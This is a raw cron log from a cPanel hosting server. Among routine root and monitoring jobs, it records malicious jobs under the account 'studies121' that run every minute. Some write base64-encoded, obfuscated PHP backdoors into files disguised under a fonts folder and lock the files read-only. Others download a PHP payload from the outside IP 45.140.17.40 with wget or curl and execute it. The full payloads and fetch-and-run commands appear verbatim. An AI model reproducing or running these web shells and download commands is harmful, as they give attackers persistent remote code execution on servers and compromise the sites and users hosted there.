Sep  4 05:19:02 ip-184-168-122-23 CROND[28996]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 05:19:02 ip-184-168-122-23 CROND[28999]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 05:19:02 ip-184-168-122-23 CROND[29002]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 05:19:02 ip-184-168-122-23 CROND[29006]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 05:20:01 ip-184-168-122-23 CROND[29113]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  4 05:20:01 ip-184-168-122-23 CROND[29115]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 05:20:01 ip-184-168-122-23 CROND[29116]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 05:20:01 ip-184-168-122-23 CROND[29120]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 05:20:01 ip-184-168-122-23 CROND[29117]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 05:20:01 ip-184-168-122-23 CROND[29121]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 05:20:01 ip-184-168-122-23 CROND[29123]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 05:20:01 ip-184-168-122-23 CROND[29125]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 05:20:01 ip-184-168-122-23 CROND[29124]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 05:21:01 ip-184-168-122-23 CROND[29262]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 05:21:01 ip-184-168-122-23 CROND[29264]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 05:21:01 ip-184-168-122-23 CROND[29263]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 05:21:01 ip-184-168-122-23 CROND[29265]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 05:22:01 ip-184-168-122-23 CROND[29372]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 05:22:01 ip-184-168-122-23 CROND[29373]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 05:22:01 ip-184-168-122-23 CROND[29376]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 05:22:01 ip-184-168-122-23 CROND[29379]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 05:22:01 ip-184-168-122-23 CROND[29380]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 05:23:01 ip-184-168-122-23 CROND[29598]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 05:23:01 ip-184-168-122-23 CROND[29601]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 05:23:01 ip-184-168-122-23 CROND[29599]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 05:23:01 ip-184-168-122-23 CROND[29600]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 05:24:01 ip-184-168-122-23 CROND[29725]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 05:24:01 ip-184-168-122-23 CROND[29727]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 05:24:01 ip-184-168-122-23 CROND[29726]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 05:24:01 ip-184-168-122-23 CROND[29728]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 05:24:01 ip-184-168-122-23 CROND[29729]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 05:25:01 ip-184-168-122-23 CROND[29873]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 05:25:01 ip-184-168-122-23 CROND[29875]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 05:25:01 ip-184-168-122-23 CROND[29877]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 05:25:01 ip-184-168-122-23 CROND[29879]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 05:25:01 ip-184-168-122-23 CROND[29880]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 05:25:01 ip-184-168-122-23 CROND[29883]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 05:26:01 ip-184-168-122-23 CROND[30016]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 05:26:01 ip-184-168-122-23 CROND[30017]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 05:26:01 ip-184-168-122-23 CROND[30019]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 05:26:01 ip-184-168-122-23 CROND[30020]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 05:26:01 ip-184-168-122-23 CROND[30018]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 05:27:01 ip-184-168-122-23 CROND[30115]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 05:27:01 ip-184-168-122-23 CROND[30119]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 05:27:01 ip-184-168-122-23 CROND[30118]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 05:27:01 ip-184-168-122-23 CROND[30117]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 05:28:01 ip-184-168-122-23 CROND[30298]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 05:28:01 ip-184-168-122-23 CROND[30300]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 05:28:01 ip-184-168-122-23 CROND[30301]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 05:28:01 ip-184-168-122-23 CROND[30302]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 05:28:01 ip-184-168-122-23 CROND[30303]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 05:29:01 ip-184-168-122-23 CROND[30428]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 05:29:01 ip-184-168-122-23 CROND[30429]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 05:29:01 ip-184-168-122-23 CROND[30432]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 05:29:01 ip-184-168-122-23 CROND[30431]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 05:30:01 ip-184-168-122-23 CROND[30546]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 05:30:01 ip-184-168-122-23 CROND[30547]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 05:30:01 ip-184-168-122-23 CROND[30548]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 05:30:01 ip-184-168-122-23 CROND[30553]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 05:30:01 ip-184-168-122-23 CROND[30555]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 05:30:01 ip-184-168-122-23 CROND[30552]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 05:30:01 ip-184-168-122-23 CROND[30559]: (root) CMD (/usr/local/cpanel/scripts/optimize_eximstats > /dev/null 2>&1)
Sep  4 05:30:01 ip-184-168-122-23 CROND[30560]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 05:30:01 ip-184-168-122-23 CROND[30561]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 05:31:01 ip-184-168-122-23 CROND[30716]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 05:31:01 ip-184-168-122-23 CROND[30717]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
